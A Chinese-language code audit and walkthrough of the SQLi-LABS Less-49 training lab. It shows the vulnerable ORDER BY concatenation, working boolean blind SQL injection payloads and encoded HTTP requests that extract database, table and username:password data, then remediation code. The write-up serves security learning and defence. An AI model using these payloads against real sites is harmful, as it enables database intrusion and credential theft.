sqli-labs-Less-49-代码审计报告

12次阅读
没有评论

Less-49 代码审计报告:ORDER BY 单引号布尔盲注

本报告基于 SQLi-LABS 教学靶场源码(授权范围内安全学习/代码审计)编写,所有代码定位均与 Less-49/index.php 实际文件一致。


1. 关卡概述

项目 内容
关卡名称 Less-49: ORDER BY Clause - Blind based - Single quote
源码路径 Less-49/index.php
漏洞类型 SQL 注入 – 布尔盲注(ORDER BY 子句)- 单引号字符串
注入点参数 GET /sqli-labs/Less-49/?sort=
报错/盲注 无报错回显,仅"表格是否显示"作为布尔 Oracle
所需环境 PHP 5.x + mysql 扩展 + MySQL 5.x

2. 漏洞代码定位

文件: Less-49/index.php

// 第 14 行:直接取 GET 参数,未过滤
$id=$_GET['sort'];	

// 第 22 行:单引号包裹直接拼接进 ORDER BY
$sql = "SELECT * FROM users ORDER BY '$id'";
// 第 23 行
$result = mysql_query($sql);

// 第 24 行:只有 $result 为真才显示表格
if ($result)
{
	...
}

关键漏洞点:

  • 第 14 行:$id=$_GET['sort']; 未过滤。
  • 第 22 行:ORDER BY '$id' 单引号拼接,需闭合引号注入。
  • 无报错回显:查询失败只走 else 分支(第 53-59 行),必须盲注。

3. 漏洞分析

  • 输入来源:$_GET['sort'],未过滤。
  • SQL 拼接位置:ORDER BY '$id'。注入 Payload 形如 1' and ...-- -,闭合单引号后用 -- - 注释尾部引号。
  • 是否回显:成功显示表格;失败显示 "Please input parameter as SORT with numeric value"。
  • 盲注思路:利用 if(条件,真值,报错子查询)。条件为真 → 排序表达式合法 → 表格显示;条件为假 → 子查询 (select 1 from information_schema.tables) 返回多行 → 整条 SQL 报错 → 表格消失。以"表格是否出现"为 Oracle。
  • 注意:ORDER BY 位置不支持 UNION。

4. 利用方式

步骤一:判断注入点

sort=1        → 正常
sort=1'       → 报错/表格消失
sort=1'-- -   → 正常(单引号被注释)
sort=1' and 1=1-- -   → 正常
sort=1' and 1=2-- -   → 表格消失

→ 确认单引号闭合 + 布尔 Oracle 可用。

步骤二:布尔盲注判断条件(核心 Payload)

-- 判断当前库是否为 security
sort=1' and if((select database())='security',1,(select 1 from information_schema.tables))-- -
-- 判断 security.users 是否存在
sort=1' and if((select count(*) from information_schema.tables where table_schema='security' and table_name='users')=1,1,(select 1 from information_schema.tables))-- -
  • 真 → 表格正常显示;假 → 表格消失。

步骤三:逐字符提取数据

-- 库名第 1 个字符 ASCII>64
sort=1' and if(ascii(substring((select database()),1,1))>64,1,(select 1 from information_schema.tables))-- -
-- 表名第 i 个字符
sort=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema='security' limit 0,1),i,1))>N,1,(select 1 from information_schema.tables))-- -
-- 爆数据(security.users)
sort=1' and if(ascii(substring((select concat(username,0x3a,password) from security.users limit 0,1),i,1))>N,1,(select 1 from information_schema.tables))-- -

步骤四:进阶

  • 二分法爆破 ASCII,每个字符约 7 次请求;配合脚本自动化。
  • 也可用 regexp / like 加速(如 substring(...) regexp '^[A-Z]')。

5. Yakit 重放数据包

判断库名是否 security 报文:

GET /sqli-labs/Less-49/?sort=1%27%20and%20if((select%20database())='security',1,(select%201%20from%20information_schema.tables))--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

提取库名第 1 个字符(>64)报文:

GET /sqli-labs/Less-49/?sort=1%27%20and%20if(ascii(substring((select%20database()),1,1))%3E64,1,(select%201%20from%20information_schema.tables))--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: */*
Connection: close

说明:%27='、%20=空格、%3E=>、--%20-=-- -。页面出现用户数据表格 → 条件真;表格消失 → 条件假。


6. 修复建议

修复一(首选):排序字段白名单枚举

<?php
$allow = ['id', 'username', 'password'];
$sort  = isset($_GET['sort']) ? $_GET['sort'] : 'id';
if (!in_array($sort, $allow, true)) {
    $sort = 'id';
}
$sql = "SELECT * FROM users ORDER BY $sort";
$result = mysql_query($sql);

修复二:严格校验排序表达式

if (!preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', $sort)) {
    die('Invalid sort field');
}

修复三:输入校验 + 最小权限

  • 关闭一切错误细节输出,统一错误页。
  • 数据库账号最小权限;升级 PHP 7+ / 8+,移除 mysql_* 扩展。

附:验证与复现说明

  • 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
  • 复现前需:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、使用支持 mysql_* 的 PHP 5.x 环境。
正文完
 0